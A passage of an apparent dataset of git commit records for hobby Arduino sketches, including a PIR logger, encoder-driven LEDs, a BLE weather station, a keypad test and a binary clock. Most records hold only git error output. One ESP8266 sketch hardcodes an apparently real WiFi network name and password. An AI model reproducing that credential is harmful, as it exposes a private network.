attachInterrupt(digitalPinToInterrupt(pir_pin),pir_change,CHANGE);\n Serial.println(\"using PIR in pin 5 (d2)\");\n \n\/\/ Connect to WiFi network\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n\n \/\/ Print the IP address\n Serial.print(\"Use this URL to connect: \");\n Serial.print(\"http:\/\/\");\n Serial.print(WiFi.localIP());\n Serial.println(\"\/\");\n\n}\n\nvoid loop() {\n unsigned long now = millis();\n if (switch_changed) {\n Serial.print(now\/1000);\n Serial.print(\" Switch \");\n Serial.print(switch_isClosed);\n if (switch_isClosed) \n Serial.println(\" door closed\");\n else \n Serial.println(\" door open\");\n rtlog(\"door\",switch_isClosed);\n switch_changed=false;\n }\n if (pir_changed){ \n Serial.print(now\/1000);\n Serial.print(\" PIR \");\n Serial.println(pir_on);\n if (pir_on ) {\n if (! pir_movement) {\n pir_movement = true;\n Serial.println(\" movement\");\n rtlog(\"movement\",pir_movement);\n }\n else pir_millis = now;\n }\n pir_changed = false;\n }\n if ( ! pir_on && pir_movement && now - pir_millis > inactive_interval) {\n pir_movement=false;\n Serial.println(\" no movement\");\n rtlog(\"movement\",pir_movement);\n }\n \n\/\/\n delay(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266-code\/Log-PIR-Switch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5042ed85087b2e3c122c42235602582ddae91bca","subject":"Added an example sketch","message":"Added an example sketch\n","repos":"pushpreet\/arduino-line-sensor,pushpreet\/arduino-line-sensor","old_file":"Examples\/LineSensor_Example.ino","new_file":"Examples\/LineSensor_Example.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Examples\/LineSensor_Example.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"2f98eff11dc10d9995cb73b8795379a5223376de","subject":"Reverse direction","message":"Reverse direction\n","repos":"knobio\/knob.io","old_file":"knobio_reverse.ino","new_file":"knobio_reverse.ino","new_contents":" \n#include <SPI.h>\n\n#define SDI 11 \/\/Data\n#define CLK 9 \/\/Clock\n#define LE 12 \/\/Latch\n#define OE 13\n\n#define ENC_A A4\n#define ENC_B A5\n#define ENC_PORT PINF\n\nint scaledCounter = 0;\nint sequenceNumber = 3;\nint bluPin = 6; \/\/ Encoder's blue LED- D6 is PWM enabled\n\n\n\/*This is a 2 dimensional array with 3 LED sequences. The outer array is the sequence; \n the inner arrays are the values to output at each step of each sequence. The output values\n are 16 bit hex values (hex math is actually easier here!). An LED will be on if its \n corresponding binary bit is a one, for example: 0x7 = 0000000000000111 and the first 3 LEDs \n will be on.\n f\n The data type must be 'unsigned int' if the sequence uses the bottom LED since it's value is 0x8000 (out of range for signed int).\n*\/\n\nunsigned int sequence[4][16] = {\n {0x0,0x2,0x4,0x8,0x10,0x20,0x40,0x80,0x100,0x200,0x400,0x800,0x1000,0x2000,0x4000},\n \n {0x7fff,0x3fff,0x1fff,0xfff,0x7ff,0x3ff,0x1ff,0xff,0x7f,0x3f,0x1f,0xf,0x7,0x3,0x1,0x0},\n {0x0,0x7fff,0x3ffe,0x1ffc,0xff8,0x7f0,0x3e0,0x1c0,0x80,0x1c0,0x3e0,0x7f0,0xff8,0x1ffC,0x3ffe,0x7fff},\n {0x8000,0xC000,0xE000,0xF000,0xF800,0xFC00,0xFE00,0xFF00,0xFF80,0xFFC0,0xFFE0,0xFFF0,0xFFF8,0xFFFC,0xFFFE,0xFFFF}\n };\n \n \nvoid setup()\n{\n \/\/Set SPI pins to output\n pinMode(SDI, OUTPUT);\n pinMode(CLK, OUTPUT);\n pinMode(LE, OUTPUT);\n pinMode(OE, OUTPUT);\n digitalWrite(OE, LOW);\n \/\/Set encoder pins to input, turn internal pull-ups on\n pinMode(ENC_A, INPUT);\n digitalWrite(ENC_A, HIGH);\n pinMode(ENC_B, INPUT);\n digitalWrite(ENC_B, HIGH);\n pinMode(bluPin, OUTPUT);\n analogWrite(bluPin, 0);\n \/\/Begin SPI\n SPI.begin();\n \/\/Set rate to 115200\n Serial.begin(115200);\n Serial.setTimeout(50);\n}\n\nvoid loop()\n{\n \/\/Local Variables\n static uint8_t counter = 0;\n static int8_t tmpdata;\n static int value;\n \n tmpdata = read_encoder();\n \n \/\/If the encoder has moved\n if(tmpdata)\n {\n \/\/Send the counter over USB\n Serial.println(counter, DEC);\n \/\/Set the new counter value of the encoder\n Serial.flush();\n counter += (tmpdata*4);\n }\n if(Serial.available()) \/\/check the serial buffer\n {\n \/\/Read the counter over USB\n counter=Serial.parseInt();\n } \n \/\/Scale the counter value for referencing the LED sequence\n scaledCounter = map(counter,0,255,0,15); \n \/\/Send the LED output to the shift register\n digitalWrite(LE, LOW); \n shiftOut16(sequence[sequenceNumber][scaledCounter]);\n digitalWrite(LE, HIGH);\n Serial.flush();\n }\n \n \n \n \n int8_t read_encoder()\n {\n \/\/int8_t enc_states[] = {0,-1,1,0,1,0,0,-1,-1,0,0,1,0,1,-1,0};\n int8_t enc_states[] = {0,1,-1,0,-1,0,0,1,1,0,0,-1,0,-1,1,0};\n static uint8_t old_AB = 0;\n \n old_AB <<= 2; \/\/remember previous state\n old_AB |= (ENC_PORT & 0x03); \/\/add current state\n return ( enc_states[( old_AB & 0x0f )]);\n }\n \n \n void shiftOut16(uint16_t data)\n{\n byte datamsb;\n byte datalsb;\n \n \/\/ Isolate the MSB and LSB\n datamsb = (data&0xFF00)>>8; \/\/ mask out the MSB and shift it right 8 bits\n datalsb = data & 0xFF; \/\/ Mask out the LSB\n \n \/\/ First shift out the MSB, MSB first.\n shiftOut(SDI, CLK, MSBFIRST, datalsb);\n \/\/ Then shift out the LSB\n shiftOut(SDI, CLK, MSBFIRST, datamsb);\n}\n \n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'knobio_reverse.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7c55030709eda1b8e9bb71928345bb3df591b7da","subject":"Added some profiling code (and commented reporting and keep alive)","message":"Added some profiling code (and commented reporting and keep alive)\n\nThe keep alive check was buggy. I have to fix it but for now I simply\ncommented it out.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"89e61b24bb16c76fb03a0695fedc6c69f668d154","subject":"COH-44","message":"COH-44","repos":"Denzo77\/OTRadioLink,DamonHD\/OTRadioLink,Denzo77\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink,DamonHD\/OTRadioLink,opentrv\/OTRadioLink,DamonHD\/OTRadioLink,DamonHD\/OTRadioLink,opentrv\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink","old_file":"test\/test.ino","new_file":"test\/test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Denzo77\/OTRadioLink.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0c34d343ffd70f241261e8221da3ca063fb96638","subject":"Initial code","message":"Initial code\n","repos":"CraigDawson\/ble-weather-station-enhanced,CraigDawson\/ble-weather-station-enhanced,CraigDawson\/ble-weather-station-enhanced,CraigDawson\/ble-weather-station-enhanced,CraigDawson\/ble-weather-station-enhanced,CraigDawson\/ble-weather-station-enhanced","old_file":"arduino\/Weather.ino","new_file":"arduino\/Weather.ino","new_contents":"#include <Wire.h>\n#include <SPI.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_BME280.h>\n#include <BLEPeripheral.h>\n\n\/\/ define pins for Adafruit Bluefruit LE\n\/\/ https:\/\/github.com\/sandeepmistry\/arduino-BLEPeripheral#pinouts\n#define BLE_REQ 10\n#define BLE_RDY 2\n#define BLE_RST 9\n\nBLEPeripheral blePeripheral = BLEPeripheral(BLE_REQ, BLE_RDY, BLE_RST);\nBLEService weatherService = BLEService(\"BBB0\");\nBLEFloatCharacteristic temperatureCharacteristic = BLEFloatCharacteristic(\"BBB1\", BLERead | BLENotify);\nBLEDescriptor temperatureDescriptor = BLEDescriptor(\"2901\", \"Temp\");\nBLEFloatCharacteristic humidityCharacteristic = BLEFloatCharacteristic(\"BBB2\", BLERead | BLENotify);\nBLEDescriptor humidityDescriptor = BLEDescriptor(\"2901\", \"Humidity\");\nBLEFloatCharacteristic pressureCharacteristic = BLEFloatCharacteristic(\"BBB3\", BLERead | BLENotify);\nBLEDescriptor pressureDescriptor = BLEDescriptor(\"2901\", \"Pressure\");\n\n#include <Wire.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_BME280.h>\nAdafruit_BME280 bme;\n\nunsigned long previousMillis = 0; \/\/ stores the last time sensor was read\nunsigned long interval = 6000; \/\/ interval at which to read sensor (milliseconds)\nboolean so = true; \/\/ True for Serial Output\n\nconst int RED_PIN = 5;\nconst int GREEN_PIN = 6;\nconst int BLUE_PIN = 7;\n\n\nvoid setup()\n{ \n pinMode(RED_PIN, OUTPUT);\n pinMode(GREEN_PIN, OUTPUT);\n pinMode(BLUE_PIN, OUTPUT); \n\n \/\/ Purple on reset\/setup\n digitalWrite(RED_PIN, HIGH);\n digitalWrite(GREEN_PIN, LOW);\n digitalWrite(BLUE_PIN, HIGH);\n \n if (so) {\n Serial.begin(9600);\n Serial.println(F(\"\\\"Bluetooth Low Energy Weather Station\\\"\"));\n Serial.print(F(\"\\\"TemperatureC\\\",\"));\n Serial.print(F(\"\\\"TemperatureF\\\",\"));\n Serial.print(F(\"\\\"Humidity\\\",\"));\n Serial.print(F(\"\\\"PressureP\\\",\"));\n Serial.print(F(\"\\\"PressureHg\"));\n Serial.println(\"\");\n }\n \n \/\/ set advertised name and service\n blePeripheral.setLocalName(\"Weather\");\n blePeripheral.setDeviceName(\"Weather\");\n blePeripheral.setAdvertisedServiceUuid(weatherService.uuid());\n\n \/\/ add service and characteristic\n blePeripheral.addAttribute(weatherService);\n blePeripheral.addAttribute(temperatureCharacteristic);\n blePeripheral.addAttribute(temperatureDescriptor);\n blePeripheral.addAttribute(humidityCharacteristic);\n blePeripheral.addAttribute(humidityDescriptor);\n blePeripheral.addAttribute(pressureCharacteristic);\n blePeripheral.addAttribute(pressureDescriptor);\n\n blePeripheral.begin();\n \/\/bme.begin();\n if (!bme.begin()) {\n if (so) { \n Serial.println(F(\"Could not find a valid BME280 sensor, check wiring!\"));\n }\n while (1);\n }\n}\n\n\nvoid loop()\n{\n \/\/ Tell the bluetooth radio to do whatever it should be working on\n blePeripheral.poll();\n\n \/\/ limit how often we read the sensor\n if (millis() - previousMillis > interval) {\n pollSensors();\n previousMillis = millis();\n }\n}\n\n\nvoid pollSensors()\n{\n\n float temperature = bme.readTemperature();\n float humidity = bme.readHumidity();\n float pressure = bme.readPressure();\n\n \/\/ if any one of measurements isnan() then return\n if (isnan(temperature) || isnan(humidity) || isnan(pressure)) {\n return;\n }\n\n \/\/ only set the characteristic value if the temperature has changed\n if (temperatureCharacteristic.value() != temperature) {\n temperatureCharacteristic.setValue(temperature);\n }\n if (so) {\n Serial.print(temperature);\n Serial.print(F(\",\"));\n }\n float tempF = temperature * 1.8 + 32;\n if (so) {\n Serial.print(tempF);\n Serial.print(F(\",\"));\n }\n\n \/\/ only set the characteristic value if the humidity has changed\n if (humidityCharacteristic.value() != humidity) {\n humidityCharacteristic.setValue(humidity);\n }\n if (so) {\n Serial.print(humidity);\n Serial.print(F(\",\"));\n }\n\n \/\/ only set the characteristic value if the pressure has changed\n if (pressureCharacteristic.value() != pressure) {\n pressureCharacteristic.setValue(pressure);\n }\n if (so) {\n Serial.print(pressure);\n Serial.print(F(\",\"));\n }\n float pressureHg = pressure \/ 3386.39;\n if (so) {\n Serial.print(pressureHg); \n Serial.println(\"\");\n\n if (pressureHg < 29.0) {\n \/\/ Red (turn just the red LED on):\n setIntensity(RED_PIN, 128);\n } else if (pressureHg < 29.7 && pressureHg >= 29.0) {\n \/\/ Yellow (turn red and green on):\n showRGB(64);\n } else if (pressureHg >= 29.7) {\n \/\/ Green (turn just the green LED on):\n setIntensity(GREEN_PIN, 64);\n }\n }\n}\n\n\nvoid showRGB(int color)\n{\n int redIntensity;\n int greenIntensity;\n int blueIntensity;\n\n \/\/ In each of these zones, we'll calculate the brightness\n \/\/ for each of the red, green, and blue LEDs within the RGB LED.\n\n if (color <= 255) \/\/ zone 1\n {\n redIntensity = 255 - color; \/\/ red goes from on to off\n greenIntensity = color; \/\/ green goes from off to on\n blueIntensity = 0; \/\/ blue is always off\n }\n else if (color <= 511) \/\/ zone 2\n {\n redIntensity = 0; \/\/ red is always off\n greenIntensity = 255 - (color - 256); \/\/ green on to off\n blueIntensity = (color - 256); \/\/ blue off to on\n }\n else \/\/ color >= 512 \/\/ zone 3\n {\n redIntensity = (color - 512); \/\/ red off to on\n greenIntensity = 0; \/\/ green is always off\n blueIntensity = 255 - (color - 512); \/\/ blue on to off\n }\n\n \/\/ Now that the brightness values have been set, command the LED\n \/\/ to those values\n\n analogWrite(RED_PIN, redIntensity);\n analogWrite(BLUE_PIN, blueIntensity);\n analogWrite(GREEN_PIN, greenIntensity);\n}\n\n\nvoid setIntensity(int pin, int intensity)\n{\n digitalWrite(RED_PIN, LOW);\n digitalWrite(GREEN_PIN, LOW);\n digitalWrite(BLUE_PIN, LOW);\n analogWrite(pin, intensity);\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/Weather.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"39a83aa775f1c00f40c2fc854c740c5cd84b0a5e","subject":"Keypad Arduino -> Cach\u00e9 data send sample","message":"Keypad Arduino -> Cach\u00e9 data send sample\n","repos":"intersystems-ru\/ArduinoSnippets","old_file":"Keypadtest.ino","new_file":"Keypadtest.ino","new_contents":"\/* Keypadtest.ino\n *\n * \u041f\u0440\u0438\u043c\u0435\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Keypad\n * \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u0435 Keypad \u043a \u0432\u044b\u0432\u043e\u0434\u0430\u043c Arduino \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c \u0432\n * rowPins[] and colPins[].\n *\n *\/\n\n\/\/ \u0420\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438:\n\/\/ https:\/\/github.com\/Chris--A\/Keypad\n#include <Keypad.h>\n\nconst byte ROWS = 4; \/\/ \u0427\u0435\u0442\u044b\u0440\u0435 \u0441\u0442\u0440\u043e\u043a\u0438\nconst byte COLS = 4; \/\/ \u0422\u0440\u0438 \u0441\u0442\u043e\u043b\u0431\u0446\u044b\n\/\/ \u041a\u0430\u0440\u0442\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f \u043a\u043d\u043e\u043f\u043e\u043a \u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432\nchar keys[ROWS][COLS] = {\n\t{'1','2','3','A'},\n\t{'4','5','6','B'},\n\t{'7','8','9','C'},\n\t{'*','0','#','D'}\n};\n\/\/ \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u0435 \u0440\u0430\u0437\u044c\u0451\u043c\u044b keypad 1-8 (\u0441\u0432\u0435\u0440\u0445\u0443-\u0432\u043d\u0438\u0437) \u043a Arduino \u0440\u0430\u0437\u044c\u0451\u043c\u0430\u043c 11-4. 1->11, 2->10, ... , 8->4 \n\/\/ \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u0435 keypad ROW0, ROW1, ROW2 \u0438 ROW3 \u043a \u044d\u0442\u0438\u043c \u0432\u044b\u0432\u043e\u0434\u0430\u043c Arduino\nbyte rowPins[ROWS] = { 7, 6, 5, 4 };\n\/\/ \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u0435 keypad COL0, COL1 and COL2 \u043a \u044d\u0442\u0438\u043c \u0432\u044b\u0432\u043e\u0434\u0430\u043c Arduino\nbyte colPins[COLS] = { 8, 9, 10, 11 }; \n\n\/\/ \u0418\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f Keypad\nKeypad kpd = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS );\n\n#define ledpin 13\n\nvoid setup()\n{\n\tSerial.begin(9600); \n}\n\nvoid loop()\n{\n\tchar key = kpd.getKey(); \/\/ \u041f\u043e\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043d\u0430\u0436\u0430\u0442\u0443\u044e \u043a\u043d\u043e\u043f\u043a\u0443\n\tif(key)\n\t{\n\t\tswitch (key)\n\t{\n\t\tcase '#':\n\t\t\tSerial.println();\n\t\tdefault:\n\t\t\tSerial.print(key);\n\t}\n\t}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Keypadtest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"32ea0db5b3e91742ba2bf23a480040fd9bae45b1","subject":"add esp8266 script","message":"add esp8266 script\n","repos":"IoT-Projects\/IoT-home-temp-tracking,IoT-Projects\/IoT-home-temp-tracking,IoT-Projects\/IoT-home-temp-tracking","old_file":"esp8266\/temp-web-IoT.ino","new_file":"esp8266\/temp-web-IoT.ino","new_contents":"\n#include \"DHT.h\"\n#include <ESP8266WiFi.h>\n#include <ESP8266WiFiMulti.h>\n#include <ESP8266HTTPClient.h>\n\nESP8266WiFiMulti WiFiMulti;\n\n#define USE_SERIAL Serial\n#define DHTPIN 2 \/\/ sensor pin connected to\n#define DHTTYPE DHT22 \/\/ DHT 22 sensor\n\nuint8_t MAC_array[6];\nchar MAC_char[18];\n\nDHT dht(DHTPIN, DHTTYPE);\n\nvoid setup() {\n USE_SERIAL.begin(115200);\n \/\/ USE_SERIAL.setDebugOutput(true);\n dht.begin();\n USE_SERIAL.println();\n delay(4000);\n\n WiFiMulti.addAP(\"Empire-2.4\", \"5038038883\");\n Serial.print(\"Wait for WiFi... \");\n WiFi.macAddress(MAC_array);\n for (int i = 0; i < sizeof(MAC_array); ++i){\n sprintf(MAC_char,\"%s%02x:\",MAC_char,MAC_array[i]);\n }\n \n Serial.println(MAC_char);\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n delay(500);\n}\n\nString getdata() {\n \/\/ put your main code here, to run repeatedly:\n float h = dht.readHumidity();\n \/\/ Read temperature as Fahrenheit (isFahrenheit = true)\n float f = dht.readTemperature(true);\n if(isnan(h) || isnan(f)) {\n \/\/return \"\";\n }\n USE_SERIAL.print(\"Temperature: \");\n USE_SERIAL.println(f);\n return \"?t=\" + String(f) + \"&h=\" + String(h);\n} \n\nvoid loop() {\n USE_SERIAL.println(\"Loop\");\n if((WiFiMulti.run() == WL_CONNECTED)) {\n USE_SERIAL.println(\"is connected\");\n \/\/ put your main code here, to run repeatedly:\n float h = dht.readHumidity();\n \/\/ Read temperature as Fahrenheit (isFahrenheit = true)\n float f = dht.readTemperature(true);\n if(isnan(h) || isnan(f)) {\n USE_SERIAL.println(\"bad temp\");\n }\n USE_SERIAL.print(\"Temperature: \");\n USE_SERIAL.println(f);\n delay(5000);\n \/*HTTPClient http;\n http.begin(\"http:\/\/local.snck.me\/index.php?t=\" + String(f) + \"&h=\" + String(h));\n int httpCode = http.GET();\n if(httpCode != -1) {\n USE_SERIAL.println(\"data sent to server\");\n delay(10000);\n } else {\n USE_SERIAL.println(\"fail\");\n delay(5000);\n }*\/\n }\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp8266\/temp-web-IoT.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"c95d29c06165926ac325712133ecd17cc05ccc00","subject":"need to sleep, must commit","message":"need to sleep, must commit\n","repos":"azieroth\/LedMaster,azieroth\/LedMaster","old_file":"src\/main.ino","new_file":"src\/main.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/azieroth\/LedMaster.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8f2ea83bc118aa7b78f4b27c6c96cd20db57df12","subject":"check front can do auto alignment","message":"check front can do auto alignment\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1e0acd74aa8a416218576c775aed1104dff98d25","subject":"simlink test with no debug","message":"simlink test with no debug","repos":"opentrv\/OTRadioLink,opentrv\/OTRadioLink,DamonHD\/OTRadioLink,DamonHD\/OTRadioLink,DamonHD\/OTRadioLink,DamonHD\/OTRadioLink,Denzo77\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,Denzo77\/OTRadioLink","old_file":"dev\/test\/SIMLinkTestBatterSend\/SIMLinkTestBatterSend.ino","new_file":"dev\/test\/SIMLinkTestBatterSend\/SIMLinkTestBatterSend.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Denzo77\/OTRadioLink.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8bb70fa28e7b2a6afab362544a31326866545403","subject":"Improving AI and adding better collision detection","message":"Improving AI and adding better collision detection\n","repos":"rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects","old_file":"Pong\/Pong.ino","new_file":"Pong\/Pong.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rniemand\/ArduinoProjects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"14cd4adb13e5cb85cb0f2e3107f0c1082d98e15e","subject":"Create base2clock.ino","message":"Create base2clock.ino","repos":"linuxmania\/base2clock","old_file":"base2clock.ino","new_file":"base2clock.ino","new_contents":"\/***************************\n+\n+Copyleft [2014] [Daniel Spicer]\n+\n+Licensed under the Apache License, Version 2.0 (the \"License\");\n+you may not use this file except in compliance with the License.\n+You may obtain a copy of the License at\n+\n+ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n+\n+Unless required by applicable law or agreed to in writing, software\n+distributed under the License is distributed on an \"AS IS\" BASIS,\n+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n+See the License for the specific language governing permissions and\n+limitations under the License.\n+\n+****************************\/\n\n\n\/\/adjust fudge factor and offset to tune the arduino.\n\/\/slow float fudge_factor = 1.001;\n\/\/slightly fast float fudge_factor = 1.0012;\n\/\/very slightly fast float fudge_factor = 1.0011;\nfloat fudge_factor = 1.00107;\nint offset = 15;\n\nunsigned long prev_mils,mil,sec,mins,hr,reset_mills = 0;\n\n\/\/initially set hours to zero and minutes to zero.\nint hr_init = 0;\nint min_init = 0;\n\n\/\/int's representing led's. 1 = on, 0 = off. Initially they will all be off.\nint p1,p2,p3,p4,p5,p6,p7,p8 = 0;\n\n\/\/booleans for time setting purposes.\nboolean time_set,add_2_mins,reset_slow,reset_fast = false;\n\n\/\/call this function if a time set button is pressed.\nvoid reset_init(){\n add_2_mins = true;\n reset_mills = mil;\n\n \/\/use current time setting as new initial values.\n hr_init = 0;\n min_init = 0;\n if(p1 == 1) hr_init = 4;\n if(p2 == 1) hr_init += 2;\n if(p3 == 1) hr_init += 1;\n if(p4 == 1) min_init = 30;\n if(p5 == 1) min_init += 15;\n if(p6 == 1) min_init += 8;\n if(p7 == 1) min_init += 4;\n if(p8 == 1) min_init += 2;\n}\n\nvoid setup(){\n \/\/8 led's as outputs.\n pinMode(13, OUTPUT); \n pinMode(12, OUTPUT); \n pinMode(11, OUTPUT); \n pinMode(10, OUTPUT); \n pinMode(9, OUTPUT); \n pinMode(8, OUTPUT); \n pinMode(7, OUTPUT); \n pinMode(6, OUTPUT);\n\n \/\/2 time set buttons as inputs.\n pinMode(5, INPUT); digitalWrite(5, HIGH);\n pinMode(4, INPUT); digitalWrite(4, HIGH);\n \n} \/\/ end setup()\n\nvoid loop(){\n \/\/reinitialize time setting booleans to false.\n reset_fast = false;\n reset_slow = false;\n add_2_mins = false;\n\n \/\/get the time that the program has been running, to calculate time.\n mil = millis();\n \n \/\/add this to determine if mil has counted 46 days and has reset.\n if(prev_mils != 0){\n if(prev_mils > mil){\n time_set = false;\n } \n } \n prev_mils = mil;\n \n \/\/see if the time is being set. \n if(digitalRead(5) == LOW){\n reset_slow = true;\n time_set = true;\n reset_init(); \n } else {\n if(digitalRead(4) == LOW){\n reset_fast = true;\n time_set = true;\n reset_init(); \n } \n }\n\n \/\/if the time has not been set since the last power cycle\n \/\/or mil has counted over 50 days and reset, just keep blinking all\n \/\/the lights till the time is set.\n if(!time_set){\n if(p1 == 1){\n digitalWrite(13, LOW); \n p1=0; \n digitalWrite(12, LOW); \n p2=0; \n digitalWrite(11, LOW); \n p3=0; \n digitalWrite(10, LOW); \n p4=0; \n digitalWrite(9, LOW); \n p5=0; \n digitalWrite(8, LOW); \n p6=0; \n digitalWrite(7, LOW); \n p7=0; \n digitalWrite(6, LOW); \n p8=0; \n }else{\n digitalWrite(13, HIGH); \n p1=1; \n digitalWrite(12, HIGH); \n p2=1; \n digitalWrite(11, HIGH); \n p3=1; \n digitalWrite(10, HIGH); \n p4=1; \n digitalWrite(9, HIGH); \n p5=1; \n digitalWrite(8, HIGH); \n p6=1; \n digitalWrite(7, HIGH); \n p7=1; \n digitalWrite(6, HIGH); \n p8=1; \n } \n \/\/else everything is copasetic, display the time\n }else{\n\n \/\/subtract lapsed time since last occasion that the time was set. \n mil -= reset_mills;\n \n \/\/ TUNE your arduino\n sec = (mil\/1000 * fudge_factor) + offset;\n \n \/\/calculate values for hours and minutes. \n mins = sec\/60;\n if(add_2_mins)\n min_init += 2;\n mins += min_init;\n hr = mins\/60;\n mins -= (hr*60);\n hr += hr_init;\n hr = hr%8;\n\n \/\/figure out which led's to light and unlight.\n if(hr >= 4){\n if(p1 != 1){\n digitalWrite(13, HIGH); \n p1=1; \n } \n hr -= 4;\n } else {\n if(p1 != 0){\n digitalWrite(13, LOW); \n p1=0; \n } \n }\t\n \n if(hr >= 2){\n if(p2 != 1){\n digitalWrite(12, HIGH);\n p2=1; \n } \n hr -= 2;\n } else {\n if(p2 != 0){\n digitalWrite(12, LOW); \n p2=0; \n } \n }\t\n \n if(hr == 1){\n if(p3 != 1){\n digitalWrite(11, HIGH);\n p3=1; \n } \n } else {\n if(p3 != 0){\n digitalWrite(11, LOW); \n p3=0; \n } \n }\t\n \n if(mins >= 30){\n if(p4 != 1){\n digitalWrite(10, HIGH);\n p4=1; \n } \n mins -= 30;\n } else {\n if(p4 != 0){\n digitalWrite(10, LOW); \n p4=0; \n } \n }\t\n \n if(mins >= 15){\n if(p5 != 1){\n digitalWrite(9, HIGH);\n p5=1; \n } \n mins -= 15;\n } else {\n if(p5 != 0){\n digitalWrite(9, LOW); \n p5=0; \n } \n }\t\n \n if(mins >= 8){\n if(p6 != 1){\n digitalWrite(8, HIGH);\n p6=1; \n } \n mins -= 8;\n } else {\n if(p6 != 0){\n digitalWrite(8, LOW); \n p6=0; \n } \n }\t\n \n if(mins >= 4){\n if(p7 != 1){\n digitalWrite(7, HIGH);\n p7=1; \n } \n mins -= 4;\n } else {\n if(p7 != 0){\n digitalWrite(7, LOW); \n p7=0; \n } \n }\t\n \n if(mins >= 2){\n if(p8 != 1){\n digitalWrite(6, HIGH);\n p8=1; \n } \n } else {\n if(p8 != 0){\n digitalWrite(6, LOW); \n p8=0; \n } \n }\t\t\n\n }\/\/end else (!time_set)\n \n \/\/ wait 5 seconds, 1 second if reset slow button is pressed or time has not been set yet, \n \/\/ 0.1 seconds if reset fast button is pressed.\n if(reset_fast){\n delay(100);\n }else{\n if(reset_slow || !time_set){\n delay(1000);\n }else{\n delay(5000);\n } \n } \n 